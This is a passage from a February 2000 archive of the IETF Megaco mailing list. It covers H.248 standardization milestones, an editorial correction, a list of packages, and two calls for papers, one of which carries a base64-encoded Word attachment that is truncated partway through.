Message-ID:  <008101bf7f92$afc661f0$ec4e25c3@ikvintern.de>
Date:         Fri, 25 Feb 2000 14:17:24 +0100
Reply-To: Thomas Magedanz 
Sender: "Media Gateway Control (megaco)"
              
From: Thomas Magedanz 
Subject:      CFP: Computer Networks Special Issue on IN and IP Convergence
X-To:         sob@harvard.edu, vern@aciri.org, spirits@lists.research.bell-lab,
              sigtran@standards.nortelnetworks.com,
              sip@lists.research.bell-labs.com
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Ladies and Gentlemen!

Computer Networks Journal plans to publish in February 2001 a special
issue on "Voice / Data Integration - A Snapshot of Intelligent Network
and Internet Convergence".

Guest editors: T. Magedanz (IKV++) and M. Smirnov (GMD FOKUS)

Deadline for submission is June 2000!
Maybe this is a good candidate for disseminating your results!

For more infos look at: http://www.fokus.gmd.de/events/IN-Internet/

Best regards,
Thomas Magedanz (magedanz@ikv.de)


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 25 12:49:53 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15724
	for ; Fri, 25 Feb 2000 12:49:52 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.48ADB350@standards.nortelnetworks.com>; Fri, 25 Feb 2000 12:46:07 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 60202 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 25 Feb 2000 12:44:28 -0500
Received: from mel.alcatel.fr (212.208.74.132) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.0D8ED010@standards.nortelnetworks.com>; Fri, 25 Feb 2000 12:44:27
          -0500
Received: from aifhs10.alcatel.fr (mailhub2.alcatel.fr [155.132.188.80]) by
          mel.alcatel.fr (ALCANET/SMTP) with ESMTP id SAA06784 for
          ; Fri, 25 Feb 2000 18:39:35 +0100
Received: from frmta01.netfr.alcatel.fr (frmta01.netfr.alcatel.fr
          [155.132.210.164]) by aifhs10.alcatel.fr (ALCANET/SMTP2) with SMTP id
          SAA21825 for ; Fri, 25 Feb 2000
          18:41:41 +0100 (MET)
Received: by frmta01.netfr.alcatel.fr(Lotus SMTP MTA v4.6.6  (890.1 7-16-1999))
          id C1256890.0061BEF2 ; Fri, 25 Feb 2000 18:47:38 +0100
X-Lotus-FromDomain: ALCATEL
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  
Date:         Fri, 25 Feb 2000 18:47:32 +0100
Reply-To: Ameneh.Zahir-Emami@ALCATEL.FR
Sender: "Media Gateway Control (megaco)"
              
From: Ameneh.Zahir-Emami@ALCATEL.FR
Subject:      editorial in H248/Megaco
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

A small editorial:
In the Annex A, the local control descritpor should contain the boolean values: "reserve value " and "reserve group" instead of "reserve" . The ABNF encoding is right but the change has been missed in the ASN encoding.

Ameneh Zahir


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 25 13:09:50 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16322
	for ; Fri, 25 Feb 2000 13:09:50 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.163E7280@standards.nortelnetworks.com>; Fri, 25 Feb 2000 13:06:11 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 60256 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 25 Feb 2000 13:05:10 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.F2492000@standards.nortelnetworks.com>; Fri, 25 Feb 2000
          13:05:10 -0500
Received: from zmers013 by smtprch1.nortel.com; Fri, 25 Feb 2000 12:07:40 -0600
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by zmers013; Fri, 25
          Feb 2000 13:07:16 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1NW3FLMQ>; Fri, 25 Feb 2000 13:07:16 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
Message-ID:  
Date:         Fri, 25 Feb 2000 13:07:08 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Updated Megaco Milestones
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

With Scott's permission, it looks like the milestones on the Megaco page
could be updated as follows.  Any comments from the WG?
 .....
  Done      Initial draft of MG and MGC MIBs.

  Done      Submit architecture and requirements document to IESG.

  Done      Submit protocol to ITU-T SG 16 for decision as Recommendation
H.248.
                Comment: H.248 was redetermined for decision in June.  Text
is
                considered frozen except for errors found during IETF and
ITU-T review.

  Mar 00    WG Last Call complete on the base protocol and base packages.

  Apr 00    Submit RFC MIBs for MC and MG to IESG for publication as RFCs.

  Apr 00     IETF Last Call complete on the base protocol and base packages.
                Submit to IESG for review.

  Jun 00    ITU-T decision of H.248 version 1.

  Jun 00    Close Working Group.



Tom Taylor
Advisor -- Emerging Carrier IP Standards
E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 25 13:26:50 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16786
	for ; Fri, 25 Feb 2000 13:26:50 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.77ECC930@standards.nortelnetworks.com>; Fri, 25 Feb 2000 13:23:13 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 60290 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 25 Feb 2000 13:21:58 -0500
Received: from diablo.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.4AAE7310@standards.nortelnetworks.com>; Fri, 25 Feb 2000 13:21:57
          -0500
Received: from jmpolk-8k ([171.71.126.154] (may be forged)) by diablo.cisco.com
          (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id KAA21961; Fri, 25
          Feb 2000 10:25:09 -0800 (PST)
X-Sender: jmpolk@diablo.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
Mime-Version: 1.0
Content-Type: multipart/alternative;
              boundary="=====================_4395749==_.ALT"
Message-ID:  <4.1.20000225122220.00ab8f00@diablo.cisco.com>
Date:         Fri, 25 Feb 2000 12:23:46 -0600
Reply-To: "James M. Polk" 
Sender: "Media Gateway Control (megaco)"
              
From: "James M. Polk" 
Subject:      Re: Updated Megaco Milestones
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

--=====================_4395749==_.ALT
Content-Type: text/plain; charset="us-ascii"


Tom

Is the MEGACO IP Phone package part of the "base packages" you have scheduled
for the Mar Accomplishment Target below?

At 01:07 PM 2/25/2000 -0500, Tom-PT Taylor wrote:
>With Scott's permission, it looks like the milestones on the Megaco page
>could be updated as follows.  Any comments from the WG?
> .....
>  Done      Initial draft of MG and MGC MIBs.
>
>  Done      Submit architecture and requirements document to IESG.
>
>  Done      Submit protocol to ITU-T SG 16 for decision as Recommendation
>H.248.
>                Comment: H.248 was redetermined for decision in June.  Text
>is
>                considered frozen except for errors found during IETF and
>ITU-T review.
>
>  Mar 00    WG Last Call complete on the base protocol and base packages.
>
>  Apr 00    Submit RFC MIBs for MC and MG to IESG for publication as RFCs.
>
>  Apr 00     IETF Last Call complete on the base protocol and base packages.
>                Submit to IESG for review.
>
>  Jun 00    ITU-T decision of H.248 version 1.
>
>  Jun 00    Close Working Group.
>
>
>
>Tom Taylor
>Advisor -- Emerging Carrier IP Standards
>E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
>Phone and FAX: +1 613 736 0961
>

*************************************
"At the end of the day... the most committed win!"

James M. Polk
Sr. Product Manager, Multiservice Architecture and Standards
Enterprise Voice Business Unit
Cisco Systems
Dallas, Texas
w) 972.813.5208
f)  972.813.5280
www.cisco.com
--=====================_4395749==_.ALT
Content-Type: text/html; charset="us-ascii"


Tom




Is the MEGACO IP Phone package part of the "base packages"
you have scheduled for the Mar Accomplishment Target below?




At 01:07 PM 2/25/2000 -0500, Tom-PT Taylor wrote:


>With Scott's permission, it looks like the milestones on the
Megaco page


>could be updated as follows.  Any comments from the
WG?


> .....


>  Done      Initial draft of MG
and MGC MIBs.


>


>  Done      Submit architecture
and requirements document to IESG.


>


>  Done      Submit protocol to
ITU-T SG 16 for decision as Recommendation


>H.248.


>               
Comment: H.248 was redetermined for decision in June.  Text


>is


>               
considered frozen except for errors found during IETF and


>ITU-T review.


>


>  Mar 00    WG Last Call complete on the
base protocol and base packages.


>


>  Apr 00    Submit RFC MIBs for MC and MG to
IESG for publication as RFCs.


>


>  Apr 00     IETF Last Call complete on
the base protocol and base packages.


>               
Submit to IESG for review.


>


>  Jun 00    ITU-T decision of H.248 version
1.


>


>  Jun 00    Close Working Group.


>


>


>


>Tom Taylor


>Advisor -- Emerging Carrier IP Standards


>E-mail: taylor@nortelnetworks.com (internally, Tom-PT
Taylor)


>Phone and FAX: +1 613 736 0961


>






*************************************

"At the end of the day... the most committed win!"





James M. Polk

Sr. Product Manager, Multiservice Architecture and Standards

Enterprise Voice Business Unit

Cisco Systems

Dallas, Texas

w) 972.813.5208

f)  972.813.5280

www.cisco.com

--=====================_4395749==_.ALT--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 25 13:35:53 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA17101
	for ; Fri, 25 Feb 2000 13:35:52 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.BAD08BA0@standards.nortelnetworks.com>; Fri, 25 Feb 2000 13:32:15 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 60313 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 25 Feb 2000 13:30:55 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.8AEA9520@standards.nortelnetworks.com>; Fri, 25 Feb 2000
          13:30:55 -0500
Received: from zmers013 by smtprch1.nortel.com; Fri, 25 Feb 2000 12:33:46 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Fri, 25
          Feb 2000 13:33:31 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWGDXK0>; Fri, 25 Feb 2000 12:33:30 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF7FBE.CFA9579E"
Message-ID:  
Date:         Fri, 25 Feb 2000 12:33:19 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Updated Megaco Milestones
X-To:         "James M. Polk" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF7FBE.CFA9579E
Content-Type: text/plain

No, which reminds me that I owe the WG a detailed accounting of the work SG
16 has provisionally claimed as its own.  Here it is.

First, H.248v1 (and draft-ietf-megaco-protocol-07.txt) includes the
following packages:

*       Generic: includes the "Cause" event, good for reporting network
disconnection reasons, and the signal completion event.
*       Base Root: contains some basic Media Gateway properties
*       A general tone generation package -- contains one signal, which
plays out a named tone
*       A general tone detection package -- events to indicate start of
tone, end of tone, long-duration tone
*       Basic DTMF detection and generation, including a DTMF digit map
completion event
*       Basic call progress tone detection and generation, naming the tones
to be found in ITU-T Rec. E.180
*       Basic continuity test package, with the exact type of test assumed
to be provisioned against the termination
*       A "Network" package, which allows setting of jitter buffer size and
has network failure and quality alert events, plus some basic connection
statistics
*       An RTP package, with an event indicating transition between one
payload type and another, plus more statistics
*       A TDM circuit package, which allows echo cancellation to be turned
on and off and loss padding to be set

A number of other packages were deemed to need further work and were
determined at this meeting.  They will probably be finished up at the May
Rapporteur's meeting in Osaka and decided at the SG 16 meeting scheduled for
November.  They include:

*       the text conversation and FAX packages (H.248 Annex F)
*       the business set related stuff which is of vital interest to IPPhone
(H.248 Annex G).  This material has also been drawn into H.323 Annex L,
Stimulus Signalling.
*       the dynamic tone generation package (H.248 Annex J) -- allows
playout of an arbitrary tone defined by cadence, frequencies, etc.
*       a basic announcement package, championed by Telcordia (H.248 Annex
K)

H.248 Annexes H and I talk about transport of the control protocol over SCTP
and ATM respectively.  Both were brought in by Ericsson, though the SCTP one
was originally the work of the Motorola prime movers behind the protocol.
These annexes were also determined for November decision.

The Nortel Advanced Audio Server package was accepted as a definite work
item of the group.  However, it was considered premature to determine it at
this point.  That means it will likely be decided somewhere around the
middle of next year.

H.248 has already given rise to a mini-standards industry.  Study Group 8
has picked it up for Internet FAX.  Q. 9 of Study Group 11 is developing a
package for controlling off-board signal processing equipment (SPNE
package).  H.248 figures in the plans for Q.BICC.  I've also seen mention of
H.248 on the DIAMETER list at the IETF.


> -----Original Message-----
> From: James M. Polk [SMTP:jmpolk@cisco.com]
> Sent: Friday, February 25, 2000 1:24 PM
> To:   Taylor, Tom-PT [CAR:B904:EXCH]; MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: Updated Megaco Milestones
>
> Tom
>
> Is the MEGACO IP Phone package part of the "base packages" you have
> scheduled for the Mar Accomplishment Target below?
>
        [[TomT]]  snip
> >
>
> *************************************
> "At the end of the day... the most committed win!"
>
>
> James M. Polk
> Sr. Product Manager, Multiservice Architecture and Standards
> Enterprise Voice Business Unit
> Cisco Systems
> Dallas, Texas
> w) 972.813.5208
> f)  972.813.5280
> www.cisco.com 

------_=_NextPart_001_01BF7FBE.CFA9579E
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: Updated Megaco Milestones




No, which reminds me =
that I owe the WG a detailed accounting of the work SG 16 has =
provisionally claimed as its own.  Here it is.



First, H.248v1 (and =
draft-ietf-megaco-protocol-07.txt) includes the following =
packages:




  • Generic: includes the =
"Cause" event, good for reporting network disconnection =
reasons, and the signal completion event.
    • 

  • Base Root: contains some basic Media =
Gateway properties
    • 

  • A general tone generation package -- =
contains one signal, which plays out a named tone
    • 

  • A general tone detection package -- =
events to indicate start of tone, end of tone, long-duration =
tone
    • 

  • Basic DTMF detection and generation, =
including a DTMF digit map completion event
    • 

  • Basic call progress tone detection =
and generation, naming the tones to be found in ITU-T Rec. =
E.180
    • 

  • Basic continuity test package, with =
the exact type of test assumed to be provisioned against the =
termination
    • 

  • A "Network" package, which =
allows setting of jitter buffer size and has network failure and =
quality alert events, plus some basic connection statistics
    • 

  • An RTP package, with an event =
indicating transition between one payload type and another, plus more =
statistics
    • 

  • A TDM circuit package, which allows =
echo cancellation to be turned on and off and loss padding to be =
set
    • 

    



A number of other packages were deemed =
to need further work and were determined at this meeting.  They =
will probably be finished up at the May Rapporteur's meeting in Osaka =
and decided at the SG 16 meeting scheduled for November.  They =
include:



  • the text conversation and FAX =
packages (H.248 Annex F)
    • 

  • the business set related stuff which =
is of vital interest to IPPhone (H.248 Annex G).  This material =
has also been drawn into H.323 Annex L, Stimulus =
Signalling.
    • 

  • the dynamic tone generation package =
(H.248 Annex J) -- allows playout of an arbitrary tone defined by =
cadence, frequencies, etc.
    • 

  • a basic announcement package, =
championed by Telcordia (H.248 Annex K)
    • 

    



H.248 Annexes H and I talk about =
transport of the control protocol over SCTP and ATM respectively.  =
Both were brought in by Ericsson, though the SCTP one was originally =
the work of the Motorola prime movers behind the protocol.  These =
annexes were also determined for November decision.



The Nortel Advanced Audio Server =
package was accepted as a definite work item of the group.  =
However, it was considered premature to determine it at this =
point.  That means it will likely be decided somewhere around the =
middle of next year.



H.248 has already given rise to a =
mini-standards industry.  Study Group 8 has picked it up for =
Internet FAX.  Q. 9 of Study Group 11 is developing a package for =
controlling off-board signal processing equipment (SPNE package).  =
H.248 figures in the plans for Q.BICC.  I've also seen mention of =
H.248 on the DIAMETER list at the IETF.




    

    -----Original Message-----

    From:   James M. Polk [SMTP:jmpolk@cisco.com]

    Sent:   Friday, February 25, 2000 1:24 PM

    To:     Taylor, Tom-PT [CAR:B904:EXCH]; =
MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Re: Updated Megaco Milestones

    


    Tom

    


    Is the MEGACO IP Phone package part of the =
"base packages" you have scheduled for the Mar Accomplishment =
Target below?

    


    [[TomT]]  snip 

    >

    


    *************************************
    
"At the end of the day... the most committed win!"
    

    

    


    James M. Polk
    
Sr. Product Manager, Multiservice Architecture and Standards
    
Enterprise Voice Business Unit
    
Cisco Systems
    
Dallas, Texas
    
w) 972.813.5208
    
f)=A0 972.813.5280
    
    www.cisco.com =
<http://www.cisco.com/>

    




------_=_NextPart_001_01BF7FBE.CFA9579E--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 28 15:16:42 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19097
	for ; Mon, 28 Feb 2000 15:16:41 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.40F6B6D0@standards.nortelnetworks.com>; Mon, 28 Feb 2000 15:12:40 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 61921 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 28 Feb 2000 15:11:37 -0500
Received: from dnsmx1rrc.telcordia.com by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.B2E5CE90@standards.nortelnetworks.com>; Mon, 28 Feb 2000 15:01:32
          -0500
Received: from notes949.cc.telcordia.com (notes949a.cc.telcordia.com
          [128.96.246.8]) by dnsmx1rrc.telcordia.com (8.9.3/8.9.2) with SMTP id
          PAA03879 for ; Mon, 28 Feb 2000
          15:04:44 -0500 (EST)
Received: by notes949.cc.telcordia.com(Lotus SMTP MTA v4.6.4  (830.2
          3-23-1999))  id 85256893.006E48B7 ; Mon, 28 Feb 2000 15:04:35 -0500
X-Lotus-FromDomain: TELCORDIA
Mime-Version: 1.0
Content-type: multipart/mixed;
              Boundary="0__=MecBGc2twFqQRvF0DktLnZ8FvxnBorWurWLbHLZocgKRjIOraXuM9zw7"
Content-Disposition: inline
Message-ID:  <85256893.006E481C.00@notes949.cc.telcordia.com>
Date:         Mon, 28 Feb 2000 15:03:53 -0500
Reply-To: Seshadri Mohan 
Sender: "Media Gateway Control (megaco)"
              
From: Seshadri Mohan 
Subject:      Call for Papers - Oct. 2000 IEEE Communications Magazine Feature
              Topic on Advanced Signaling and Control in Next Generation
              Networks
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--0__=MecBGc2twFqQRvF0DktLnZ8FvxnBorWurWLbHLZocgKRjIOraXuM9zw7
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline



If you have suitable papers, consider submitting for review. Call for Papers
      attached below.
(See attached file: CALLForPapersF.doc)


Seshadri Mohan
Telcordia Technologies

--0__=MecBGc2twFqQRvF0DktLnZ8FvxnBorWurWLbHLZocgKRjIOraXuM9zw7
Content-type: application/msword;
        name="CALLForPapersF.doc"
Content-Disposition: attachment; filename="CALLForPapersF.doc"
Content-Description: Mac Word 3.0
Content-Transfer-Encoding: base64

0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAMAAAAAAAAAAA
EAAAMgAAAAEAAAD+////AAAAAC8AAAD/////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////s
pcEAWQAJBAAACBK/AAAAAAAAEAAAAAAABAAA4xMAAA4AYmpiavNX81cAAAAAAAAAAAAAAAAAAAAA
AAAJBBYAHhwAAJE9AQCRPQEA4w8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA
AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAAF0AAAAAALwCAAAAAAAAvAIAALwC
AAAAAAAAvAIAAAAAAAC8AgAAAAAAALwCAAAAAAAAvAIAABQAAAAAAAAAAAAAANACAAAAAAAA0AIA
AAAAAADQAgAAAAAAANACAAAAAAAA0AIAAAwAAADcAgAAFAAAANACAAAAAAAArwkAAGQBAAD8AgAA
KAAAACQDAAAAAAAAJAMAAAAAAAAkAwAAAAAAACQDAAAAAAAAJAMAAAAAAAAkAwAAAAAAACQDAAAA
AAAAdAkAAAIAAAB2CQAAAAAAAHYJAAAAAAAAdgkAAAAAAAB2CQAAAAAAAHYJAAAAAAAAdgkAACQA
AAATCwAA9AEAAAcNAAAUAQAAmgkAABUAAAAAAAAAAAAAAAAAAAAAAAAAvAIAAAAAAAAkAwAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAkAwAAAAAAACQDAAAAAAAAJAMAAAAAAAAkAwAAAAAAAJoJAAAAAAAA
pAMAAAAAAAC8AgAAAAAAALwCAAAAAAAAJAMAAAAAAAAAAAAAAAAAACQDAAAAAAAA/AIAAAAAAACk
AwAAAAAAAKQDAAAAAAAApAMAAAAAAAAkAwAAagAAALwCAAAAAAAAJAMAAAAAAAC8AgAAAAAAACQD
AAAAAAAAdAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AIAAAAAAADQAgAAAAAAALwCAAAAAAAAvAIA
AAAAAAC8AgAAAAAAALwCAAAAAAAAJAMAAAAAAAB0CQAAAAAAAKQDAAB4AwAApAMAAAAAAAAcBwAA
jgAAAPwIAABoAAAAvAIAAAAAAAC8AgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdAkAAAAAAAAkAwAAAAAAAPACAAAMAAAAsPfTVpxX
vwHQAgAAAAAAANACAAAAAAAAjgMAABYAAABkCQAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASUVF
RSBDb21tdW5pY2F0aW9ucyBNYWdhemluZSBPY3RvYmVyIDIwMDAgU3BlY2lhbCBJc3N1ZSBvbiAN
QWR2YW5jZWQgU2lnbmFsaW5nIGFuZCBDb250cm9sIGluIE5leHQgR2VuZXJhdGlvbiBOZXR3b3Jr
cw0NQ2FsbCBmb3IgUGFwZXJzDQ0NU3B1cnJlZCBvbiBieSB0aGUgdW5wcmVjZWRlbnRlZCBncm93
dGggb2YgdGhlIGludGVybmV0IGFuZCBpbm5vdmF0aXZlIHNlcnZpY2VzIHRoYXQgdXNlIGludGVy
bmV0IHRlY2hub2xvZ2llcywgdGhlcmUgaGFzIGJlZW4gYW4gZXZlciBpbmNyZWFzaW5nIGludGVy
ZXN0IGluIHRoZSB1YmlxdWl0b3VzIGFwcGxpY2F0aW9uIG9mIHBhY2tldCBuZXR3b3JrcyBhbmQg
cGFja2V0IHN3aXRjaGluZyB0ZWNobm9sb2dpZXMgZm9yIHByb3Zpc2lvbiBvZiB2b2ljZSwgZGF0
YSwgYW5kIGRpZmZlcmVudCBraW5kcyBvZiBtdWx0aW1lZGlhIHNlcnZpY2VzLiBUaGUgdGltZSBp
cyBmYXN0IGFwcHJvYWNoaW5nIHdoZW4gYSBmdW5kYW1lbnRhbCBhcmNoaXRlY3R1cmFsIHNoaWZ0
IG9uIGEgbGFyZ2Ugc2NhbGUgbmVlZHMgdG8gYmUgdW5kZXJ0YWtlbiB0byBnaXZlIHJpc2UgdG8g
YSB0cnVseSBpbnRlZ3JhdGVkIGRhdGEtY2VudHJpYyBtdWx0aS1zZXJ2aWNlIG5ldHdvcmsgd2l0
aCBhIHVuaWZpZWQgY29udHJvbCBpbmZyYXN0cnVjdHVyZS4gVGhlIHJlYWxpemF0aW9uIG9mIHN1
Y2ggYW4gYXJjaGl0ZWN0dXJlIHZpc2lvbiBoYXMgYmVlbiB0aGUgZHJlYW0gb2YgbmV0d29yayBz
dHJhdGVnaXN0cyBvdmVyIHRoZSBsYXN0IHR3ZW50eSB5ZWFycy4gQ29udHJvbCBhbmQgbWFuYWdl
bWVudCBvZiBzdWNoIG5ldHdvcmtzLCBhbmQgdGhlIHNlcnZpY2VzIHN1cHBvcnRlZCBieSB0aGVt
LCBwcmVzZW50IGNoYWxsZW5nZXMgb2YgdW5wcmVjZWRlbnRlZCBtYWduaXR1ZGUgdG8gdGhlIG5l
dHdvcmsgYXJjaGl0ZWN0cy4gVGhlIHJhZGljYWwgZGVwYXJ0dXJlIG9mIHRoZSB0ZWNobm9sb2dp
ZXMgYXNzb2NpYXRlZCB3aXRoIHRoaXMgcGFyYWRpZ20gc2hpZnQgZnJvbSB0aGUgdHJhZGl0aW9u
YWwgY2lyY3VpdC1zd2l0Y2hlZCB0ZWNobm9sb2dpZXMgaXMgYWxzbyBzZXJpb3VzbHkgY2hhbGxl
bmdpbmcgdGhlIHdheSBpbnRlbGxpZ2VudCBuZXR3b3JrIHNlcnZpY2VzIGFyZSBwcmVzZW50bHkg
aW1wbGVtZW50ZWQgYW5kIG9mZmVyZWQuIA1OZXcgc2lnbmFsaW5nIHByb3RvY29scyBhbmQgYXJj
aGl0ZWN0dXJlcyBoYXZlIGVtZXJnZWQgZm9yIG11bHRpbWVkaWEgbXVsdGlwYXJ0eSBjb25mZXJl
bmNpbmcsIGUuZy4sIHByb3RvY29scyBzdWNoIGFzIElUVS1UIEguMzIzLCBULjEyMCwgSUVURiBT
SVAsIGFuZCBEQVZJQyBEU00tQ0MuIE5ldyBhcmNoaXRlY3R1cmVzIGhhdmUgYmVlbiBwcm9wb3Nl
ZCBpbiBGb3J1bXMgYW5kIENvbnNvcnRpdW1zIHN1Y2ggYXMgdGhlIE11bHRpLXNlcnZpY2VzIFN3
aXRjaGluZyBGb3J1bSBhbmQgVElOQS1DLiBUaGVyZSBhcmUgYWxzbyBuZXcgZGV2ZWxvcG1lbnRz
IHRha2luZyBwbGFjZSBpbiB0aGUgYXJlYSBvZiBOZXh0IEdlbmVyYXRpb24gTmV0d29ya2luZyB3
aXRoIHRoZSBlbWVyZ2VuY2Ugb2YgcHJvdG9jb2xzIGZvciBnYXRld2F5IGNvbnRyb2wgZS5nLiwg
SVRVLVQgSC5HQ1AgYW5kIHRoZSBJRVRGIE1lZ2FjbyBQcm90b2NvbCB0aGF0IGZhY2lsaXRhdGUg
dm9pY2UsIGRhdGEgYW5kIG11bHRpbWVkaWEgb3ZlciBwYWNrZXQgbmV0d29ya3MuIEVUU0kgVElQ
SE9OIGlzIGFsc28gd29ya2luZyBpbiB0aGlzIGFyZWEgd2l0aCBwYXJ0aWN1bGFyIGVtcGhhc2lz
IG9uIGludGVyd29ya2luZyBiZXR3ZWVuIHBhY2tldCBuZXR3b3JrcyBhbmQgbGVnYWN5IGNpcmN1
aXQtc3dpdGNoZWQgbmV0d29ya3MuDVRoZSBnb2FsIG9mIHRoaXMgc3BlY2lhbCBpc3N1ZSBpcyB0
byBmb2N1cyBvbiB0aGUgY29udHJvbCBhbmQgbWFuYWdlbWVudCBhcmNoaXRlY3R1cmVzIGZvciB0
aGUgbmV3IGRhdGEtY2VudHJpYyBmb3JtcyBvZiBtdWx0aS1zZXJ2aWNlIGNvbW11bmljYXRpb24g
bmV0d29ya3MsIHRoZSBhc3NvY2lhdGVkIG1pZGRsZXdhcmUgaW5mcmFzdHJ1Y3R1cmUgYW5kIHBy
b3RvY29scyB0aGF0IHRoZXkgY2FsbCBmb3IsIHRoZWlyIHNjYWxhYmlsaXR5IGFuZCB1YmlxdWl0
eSwgc2lnbmFsaW5nIGludGVyd29ya2luZyBpc3N1ZXMsIGFuZCB0cmFuc2Zvcm1hdGlvbiBvZiBj
aXJjdWl0LXN3aXRjaGVkIG5ldHdvcmtzLiANU3BlY2lmaWNhbGx5LCB0aGlzIHNwZWNpYWwgaXNz
dWUgd2lsbCBpbmNsdWRlIGFydGljbGVzIG9uIHRvcGljcyBpbmNsdWRpbmcsIGJ1dCBub3QgbGlt
